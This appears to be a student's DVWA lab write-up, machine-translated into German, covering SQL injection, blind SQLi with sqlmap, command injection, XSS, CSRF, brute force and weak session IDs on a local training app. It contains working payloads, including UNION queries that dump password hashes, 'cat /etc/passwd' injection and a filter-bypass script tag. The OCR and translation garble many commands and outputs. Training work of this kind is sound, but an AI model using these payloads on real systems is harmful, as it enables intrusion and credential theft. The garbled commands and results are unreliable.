Está en la página 1de 10

SQL-INJEKTION - NIEDRIGE EBENE

1. Wer ist der aktive Nutzer der Datenbank? Hinweis: Die Verwendung von automatischen
Werkzeugen ist bei dieser Übung nicht erlaubt.

Der aktive Benutzer ist root@localhost

Benutzer- Einreichen
ELECT userOl.null - A
ID:
ID: 1' AND 'A'='A' UNION SELECT user( )L, null -- A Vorname: admin Nachname: admin

ID: 1' AND 'A'='A' UNION SELECT userOl.null -- A


Erster Name: root@localhost
Nachname:

Ich habe die Nutzlast 1' AND 'A'='A' UNION SELECT user(),null innerhalb der Textzeichenfolge
verwendet, als Unterschied zu dem, was im Erklärungsvideo verwendet wurde, und es hat den
aktiven Benutzer in der DB zurückgegeben.

2. Welche Nutzlast würden Sie verwenden, um die Datenbankversion abzurufen? Hinweis: Die
Verwendung von automatischen Werkzeugen ist bei dieser Übung nicht erlaubt.

ID: ' oder 1=1 union select version(),1 #


Vorname: 10.1. 29-MariaDB- 5
Nachname: 1

Die Nutzlast ist ' oder 1=1 union select version(),1 #.

Die Datenbankversion ist 10.1.29-Maria DB-6 - MEDIUM LEVEL

3. Welche Nutzdaten würden Sie verwenden, um den Datenbanknamen abzurufen? Hinweis: Die
Verwendung von automatischen Werkzeugen ist bei dieser Übung nicht erlaubt.

Zuerst sende ich eine Anfrage in der URL (ich habe die vorherige verwendet, die ich bereits
eingestellt hatte), um sie mit Burpsuite zu erfassen und an den Repeater zu senden.
Anfrage
J Raw J Params J Headers J Hex
GET
/DVWA-master/vulnerabilities/sqli/?id=1%27*20AND%20%27A%27=%27
A%27%20UNIONS20SELECT%20user()U,null%20--*20A&Submit=Submit
HTTP/1.1
Rechner: 127.0.0.1
Benutzer-Agent: Mozilla/5.0 (Xll; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Annehmen:
text/html, application/xhtml+xml, application/xml ; q=0. 9,*/*; q=G.
8
Accept-Language: en-US,en:q=Q.5
Accept-Encoding: gzip. die Luft ablassen
Cookie: security=low; PHPSESSID=69vevt2nsncdhkln7hsm38mjkO
DNT: 1
Verbindung: schließen
Upgrade-Insecure-Anfragen: 1

Ich habe die Abfrage von user() auf database() geändert und erhalte folgendes Ergebnis:
/form-
<pre>ID: 1' AND 'A'='A' UNION SELECT
Datenbank), null -- A "br /Vorname: adminebr /Nachname: admin</pre-spre>ID: 1' AND 'A'='A' UNION SELECT database),
null -- Aebr /Vorname: dvwaebr /Nachname: " / nre>

Der Name der Datenbank lautet: "dvwa".

4. Welchen Payload würden Sie verwenden, um alle Benutzer (Benutzernamen) und Passwörter
(Hash) in der Datenbank aufzulisten? Hinweis: Die Nutzlast darf 70 Zeichen nicht überschreiten und
die Verwendung automatischer Tools ist für diese Übung nicht zulässig.

Im Repeater führe ich einfach die Abfrage select first_name,password from users aus und er listet
sie alle mit ihren jeweiligen Passwörtern auf.
/form-
<pre>ID: 1' AND 'A'='A' UNION SELECT
f irst_name , passwo rd from users -- A "br /First name:
adminebr /Nachname: admin"/PreepreID: 1' AND 'A'='A' UNION
SELECT first_nameH password from users -- A "br /Vorname :
adminebr /Nachname:
5f4dcccc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' AND
'A'='A' UNION SELECT f irst_name, passwo rd from users -- A "br
/Vorname: Gordonebr />Nachname:
e99a18c428cb38d5f 260853678922e03"/p re><pre>ID: 1' AND
'A'='A' UNION SELECT f irst_name, passwo rd from users -- A "br
/Vorname: Hackebr />Nachname:
8d353333d75ae2c3966d7e9d4fcc69216b</pre-spre>ID: 1' AND
'A'='A' UNION SELECT f irst_name, passwo rd from users -- A "br
/Vorname: Pablo "br /Nachname:
0dI07d09f 5bbe40cade3de5c7le9e9b7</p re>epre>ID: 1' AND
'A'='A' UNION SELECT f irst_name, passwo rd from users -- A "br
/Vorname: Bobebr /Nachname:
5f4dcccc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' AND
'A'='A' UNION SELECT f irst_name, passwo rd from users -- A "br
/Vorname: Student "br /Nachname:
eb0al91797624dd3a48fa681d3061212«/pre- «/div

SQL INJECTION (BLIND) - STUFE NIEDRIG

5. Welche Nutzlast(en) würden Sie verwenden, um das Vorhandensein der Schwachstelle


festzustellen? Beschreiben Sie das zu befolgende Verfahren.

Sql-Injection (Blind) ist etwas komplexer als Sql-Injection, da bei einem Fehler in der Nutzlast eine
leere Seite angezeigt wird, d. h. es werden keine Ergebnisse zurückgegeben.

Um das Vorhandensein einer Schwachstelle festzustellen, werden die entsprechenden Prüfungen


durchgeführt:

Bestimmen Sie die Schwachstelle und ob es sich um einen Text oder eine Zahl handelt.

Mit der Payload id=1 und 1=1 und 1=0 kann ich nicht feststellen, ob es eine Code-Injektion gibt, da
sie wahre und falsche Bedingungen zurückgibt. Mit der Nutzlast id=1' AND '1'='1 kann ich
feststellen, dass es eine Injektion des Typs text gibt, da sie den Text der Abfrage zurückgibt, und mit
id=1' AND '1'='0 gibt sie ihn nicht zurück. Anhand dieser Daten können wir feststellen, dass es sich
um eine textähnliche Code-Injektion handelt.
- MITTLERE EBENE
6. Er verwendet ein Tool, um die Schwachstelle auszunutzen und alle Benutzer (Benutzernamen)
und Kennwörter (Hashes) in der Datenbank aufzulisten. Welche Anleitung haben Sie verwendet?
Welche Ergebnisse hat das Instrument erbracht?

Ich werde SQLmap verwenden: -Ich verbinde sqlmap mit der URL von sql injection Blind, füge das
Cookie und ein PAYLOAD true(vorher in dvwa ausgeführt) hinzu, um mir die verfügbaren
Datenbanken anzuzeigen.

2T1:~# sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/"--cookie="security=medium;


PHPSESSID=69vevt
2nsncdhkln7hsm38mjke" --data="id=l&Submit=Submit" --dbs I

-Sobald ich die Ergebnisse habe, greife ich auf die verschiedenen Tabellen und Spalten zu, bis ich zu
den Benutzern komme:

2T1:-# sqlmap -u"http://127.0.0. 1/DVWA-master/vulnerabilities/sqli_blind/" - -cookie= "security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mjke" --


data="id=l&Submit=Submit" -D dvwa --tables

"http://127.0.0.
:~# sqlmap -u 1/DVWA-master/vulnerabilities/sqli blind/" - -cookie="security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mj k0" --
data=,,id=l&Submit=Sublnit,' -D dvwa -T users --columns

:-# sqlmap -u "http://127.0.0 . 1/DVWA-master/vulnerabilities/sqli blind/" PHPSESSID=69vevt


2nsncdhkln7hsm38mj k0" - -data="id=1&Submit=Submit" -D dvwa -T users -C user, password

:~# sqlmap -u "http://127.0.0.1/DVWA-niaster/vulnerabilities/sqli_blind/" --cookie="security=medium;


PHPSESSID=69vevt 2nsncdhkln7hsm38mjk0" data-"id-l&Submit-Submit" -D dvwa -T users -C username,password --dump

Endgültiges Ergebnis:

Datenbank: dvwa
Tabelle: Benutzer
[6 Einträge].
Datenbank: dvwa----------------------------------------------------------------------------------------3
Tabelle: Benutzer----------------------------------------------------------------------------------------3
[6 Einträge].----------------------------------------------------------------------------------------------3
5f4dcc3b5aa765d61d8327deb882cf99---------------------------------------------------------------3
5f4dcc3b5aa765d61d8327deb8B2cf99---------------------------------------------------------------3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212---------------------------------------------------------------3

Od107de9f5bbe40cade3de5c7le9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb8B2cf99
8d3533d75ae2c3966d7e0d4fcc69216b
e99al8c428cb38d5f260853678922e03 eb8al91797624dd3a48fa581d3861212

BEFEHLSINJEKTION - NIEDRIGE EBENE


7. Welche Nutzlast würden Sie verwenden, um die Sicherheitslücke auszunutzen und den Inhalt
der Datei /etc/passwd aufzulisten? (Kopieren Sie auch die ersten 3 Zeilen der Datei)
file.txt ; cat /etc/passwd #
root: x: 0:0: root: /root : /bin/bash
daemon: x: 1:1: daemon: /us r/sbin: /us r/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys :x: 3:3: sys :/dev: /us r/sbin/nologin
sync: x :4 : 65534: sync: /bin: /bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man: x: 6:12: man: /var/cache/man :/us
r/sbin/nologin Ip: x: 7:7: Ip: /var/spool/Lpd :/us r/sbin/nologin mail: x: 8:8: mail: /var/mail : /us
r/sbin/nologin news: x: 9:9: news : /var/spool/news :/us r/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www- data: x: 33: 33: www- data: /var/www: /us r/sbin/nologin backup: x: 34:34: backup:
/var/backups : /us r/sbin/nologin list:x:38:38¡Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
anats : x :41 :41 Mücken Rud-Renortina Svstem ( admi n) : /var/1 i h/anats : /us ri

- MITTLERE EBENE

8. Welche Nutzlast würden Sie verwenden, um das aktuelle Verzeichnis im Dateisystem


herauszufinden?
Auf dieser Ebene wurden die Symbole "&& und ;" entfernt und mit "" gleichgesetzt, wir können sie
nicht mehr verwenden, aber wir haben noch & und ||.
Die verwendete Nutzlast ist:

127.0.0.1 & ls

Hilfe
index.php source PING 127.0.0.1 (127.0.0.1) 56(84) Bytes an Daten. 64Bytes von 127.0.0.1:
icmp_seq=1 ttl=64 Zeit=0,011 ms
Datenbank: dvwa 3
Tabelle: Benutzer 3
[6 Einträge]. 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3

--- 127.0.0.1 Ping-Statistik ----------------------


4 gesendete Pakete , 4 empfangene , 9% Paketverlust , Zeit 3060ms rtt min/avg/max/mdev = 0
,011/0,014/0,017/0,005 ms

9. Welche Payload(s) würden Sie verwenden, um den Datenbankbenutzer und das Passwort zu
finden? Hinweis: Beide sind in der Datei "config.inc.php" gespeichert.

Zuerst suche ich nach der Datei.

127.0.0.1 & ls

127.0.0.1 & ls ../ -Unter einer anderen Ebene

127.0.0.1 & ls ../../ -Hier finde ich einen Ordner namens config. Ich werde nachsehen, was da drin
ist.

127.0.0.1 & ls ../../config. Hier ist die Datei, die wir suchen.
Konfiguration. inc ■ php|
konfiguriert. inc. php. dist
PING 127.8.8.1 (127.0.0.1) 56(84) Bytes an Daten.
Datenbank: dvwa 3
Tabelle: Benutzer 3
[6 Einträge]. 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3

- 127.0.0.1 ping Statistik -


4 gesendete Pakete, 4 empfangene , 8% Paketverlust, Zeit 3078ms rtt min/avg/max/mdev =
0,016/0,020/0,032/0,008 ms

Ich werde sie öffnen, um zu sehen, was drin ist.

XSS (REFLEKTIERT) - NIEDRIGE STUFE

10. Nutzt die Sicherheitslücke aus, um ein gefälschtes Anmeldeformular zu erstellen. Notieren Sie
die von Ihnen verwendete Nutzlast.

In das Textfeld gebe ich reines HTML ein, um eine gefälschte Anmeldung zu erstellen:

<p>Anmelden</p><br>.

<input type="text" vlue="name"><br>

<input type="text" vlue="password">

- MITTLERE EBENE

11. Geben Sie die Nutzlast an, die Sie zum Öffnen eines Popup-Fensters verwenden würden.

<scr<script>alert("Dies ist ein Popup")</scr</scr</script>ipt>

Theoretisch sollte ich die gesamten Skript-Tags löschen und die einzelnen Tags lassen und das
Popup machen, aber es löscht alles, also habe ich ein Foto hinzugefügt, das beim Anklicken
erscheint.

<img src="#" onclick=alert("popup!") >


Am Ende habe ich es geschafft, indem ich einfach Groß- und Kleinbuchstaben ineinander
verschachtelt habe:
<ScrIpt>Warnung('Popup')</ScrIpT>

12. Geben Sie die Nutzlast an, die Sie verwenden würden, um einen Frame mit einer externen
Seite einzubinden, die den gesamten Bildschirm ausfüllt und die DVWA-Seite vollständig verdeckt.

<ScrIpt>window.location="http:www.google.es"</ScrIpT>

Ich konnte kein Fenster im oberen Bereich öffnen, sondern nur eine Seite.

Ich habe versucht, eine HTML-Datei und ein grünes Div zu öffnen, das die gesamte Breite und Höhe
des Bildschirms ausfüllen würde, aber es ließ sich nicht öffnen.

XSS (GESPEICHERT) - NIEDRIGE STUFE

13. Wie lautet der Name des gefährdeten Parameters im Formular? Sie enthält ein Beispiel für die
Ausnutzung der Sicherheitslücke.

Der Name des gefährdeten Parameters ist die Messagebox.

Ich würde einen Namen eingeben und in das Feld "Nachricht" das Skript eingeben.

<ScrIpt>Warnung('Popup')</ScrIpT>

CSRF - NIEDRIGES NIVEAU


14. Beschreiben Sie die Schwachstelle im Formular und wie Sie sie ausnutzen würden.
Die Schwachstelle besteht darin, dass die URL selbst alle möglichen Informationen für eine
Passwortänderung enthält. Wenn Sie also eine E-Mail an einen Benutzer senden und ihn
auffordern, auf den Link zu klicken, und der Link lautet: 127.0.0.1/dvwa/vulnerabilities/csrf/?
password_new=password&password_conf=password&C hange=Change#.

Das Passwort wird auf "Passwort" zurückgesetzt und der Absender der gefälschten E-Mail kann Ihre
Zugangsdaten herausfinden.

- MITTLERE EBENE

15. Nutzen Sie die "XSS (Stored)"-Schwachstelle aus, um die CSRF auszunutzen, so dass bei jedem
Benutzer, der auf diese Seite zugreift, das Passwort seines Kontos geändert wird.

127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&C
hange=Change#

BRUTE FORCE

16. Nennen Sie 3 Tools, die Sie verwenden könnten, um einen Brute-Force-Angriff auf ein
Anmeldeformular durchzuführen.

SSB, THC-Hydra und Burp

17. Verwenden Sie eines dieser Tools, um die Passwörter der folgenden Benutzer zu erhalten.
Melden Sie sich dazu bei DVWA ab und greifen Sie das Anmeldeformular der Anwendung an. Fügen
Sie auch die Anweisung zum Starten des Tools oder eine Beschreibung der Verwendung des Tools
bei:

- admin - gordonb - 1337 - pablo - schmiede

Ich werde Burp verwenden, und um ein wenig Zeit zu sparen, werde ich den Benutzernamen und
das Kennwort zwischen die Zeichen setzen, damit ich weiß, was ich später in die Nutzdaten 1 und 2
eingeben muss. Für die Benutzer gebe ich in Nutzlast 1 die 5 Benutzer ein, um den Pass zu erhalten,
und in Nutzlast 2 gebe ich einen Satz von 6 Passwörtern ein, von denen 5 die richtigen für diese
Benutzer sind.

(2) Nutzlastoptionen [Einfache Liste].


Mit diesem Nutzlasttyp können Sie eine einfache Liste von Zeichenketten konfigurieren, die eine

Von Liste hinzufügen... Nur Pro-Version] [Nur Pro-Version


SCHWACHE SITZUNGSKENNUNGEN - NIEDRIGE EBENE
18. Beschreibt, wie die Werte des "dvwaSession"-Cookies erzeugt werden.

Sie werden durch eine Sitzungssumme erzeugt.

Wenn Sie den Cookie erstellen, erhalten Sie den Wert +1.

Zusammenfassend lässt sich sagen, dass Sie den Benutzernamen und das Kennwort des Benutzers
nicht kennen müssen, sondern nur ein dvwaSession-Cookie ungleich 0 setzen müssen, um sich
anzumelden.

- MITTLERE EBENE

19. BESCHREIBT, WIE DIE WERTE DES "DVWASESSION"-COOKIES ERZEUGT WERDEN.

Ein Cookie wird scheinbar mit Zufallszahlen generiert.


Referent: http://127.G.0. 1/DVWA-master/schwachstellen/weak_id/
Cookie: dvwaSession= 1637341204; security=medium;
PHPSESSID=qqgnj li6rblognlshlr9libc86
DNT: 1

Ich schicke es an den Sequenzer und mache eine Live-Aufnahme von 5 Threats alle 500
Millisekunden.
Ich kopiere die Ergebnisse und sehe, dass jede Sekunde 1 zum Wert des Cookies hinzugefügt wird.
1637341480 1637341481 1637341481 1637341481
1637341481 1637341481 1637341482 1637341482 1637341482 1637341482 1637341482 1637341482
1637341482 1637341482 1637341482 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483 1637341483 1637341483 1637341483
1637341483

Wir können also sagen, dass das erzeugte Cookie einen Zeitwert hat.

- HIGH LEVEL

20. Beschreibt, wie die Werte des "dvwaSession"-Cookies erzeugt werden.

Es erzeugt einen numerischen Schlüssel für mich,

Referent: http://127.0.0. 1/DVWA-master/schwachstellen/weak_id/


Cookie: dvwaSession=1637341205; security=high;
PHPSESSID=qqgnj li6rblognlshlr9libc86

Wenn ich sie durch den Sequenzer laufen lasse und sie analysiere, sehe ich, dass sie md5 sind.

6f4922f4556B161a8cdf4ad2299f6d23 lf0e3dad99908345f7439f8ffabdffc4
98fl3708210194c475687be6106a3b84 3c59dc048e8850243be8D79a5c74d079
b6d767d2f8ed5d21a44b0eS886680cb9 37693cfc74S049e45dS7b8c7d8b9aacd
lfflde774005f8dal3f42943881c655f 02e74flDe0327ad868dl38f2b4fdd6f0
4e732ced3463d06de0ca9al5b6153677 8e296a067a37563370ded05f5a3bf3ec
33e75ff09dd601bbe69f351039152189 6ea9ablbaa0efb9el9094440c317e21b
34173cb38f07f89ddbebc2ac912 8303f cl6a5320fa475530d9583c34fd356ef5
6364d3f0f495b6ab9dcf8d3b5c6e0b01

Die Ergebnisse sind: 18,19,20,12. Etc.

D.h. der Cookie erhöht sich um 1 pro Sitzung wie in der niedrigen Stufe, aber verschlüsselt in
MD5.

ANDERE
21. Es gibt eine versteckte Funktion in der App, kannst du sie finden? Fügen Sie ein
Bildschirmfoto bei, das die neue Funktionalität im Webbrowser zeigt.

22. Beschreiben Sie, was im folgenden Video getan wird. Beschreiben Sie die Schritte, die Sie
durchführen, und notieren Sie die Minute/Sekunde des Videos, in der sie ausgeführt werden.
https://www.youtube.com/watch?v=40iLfdRwM8U

Das gesamte Video basiert auf SQL-Injection.

- 00:15 der bereits angemeldete Benutzer (id=2), ändern Sie die id in id=3, um den Namen
von Benutzer 3 und Benutzer 4 zu erfahren.

- 00:40 der aktive Benutzer setzt eine wahre Bedingung, so dass sie sich nicht auf die Abfrage
auswirkt und die erste Abfrage zurückgibt, die id=4 ist.

- 00:54 gibt der Benutzer eine falsche Bedingung ein, so dass die Abfrage keine Ergebnisse
liefert.

- 1:15 gibt der Benutzer die Nutzlast id=4 oder 1=1 ein, damit alle Benutzer in der Datenbank
aufgelistet werden.
- 1:43 Der Benutzer öffnet sqlmap, indem er die verwundbare URL eingibt, um eine
automatische Sql-Injection durchzuführen.

- 2:18 wird ein DUMP durchgeführt, um den gesamten Inhalt der Benutzertabelle zu löschen.
Denn die Konsultation wird auf diesem Tisch im Internet durchgeführt.

23. Führen Sie alle Hilfsmittel auf, die Sie zur Durchführung der Übungen verwendet haben,
und erläutern Sie, wo Sie sie eingesetzt haben.

Für diese Übungen habe ich nur BURP und sqlmap verwendet.

-Ich habe SQLMAP in Übung 6 verwendet.

BURP Ich habe es in den Übungen 3, 4, 17, 19 und 20 verwendet.

También podría gustarte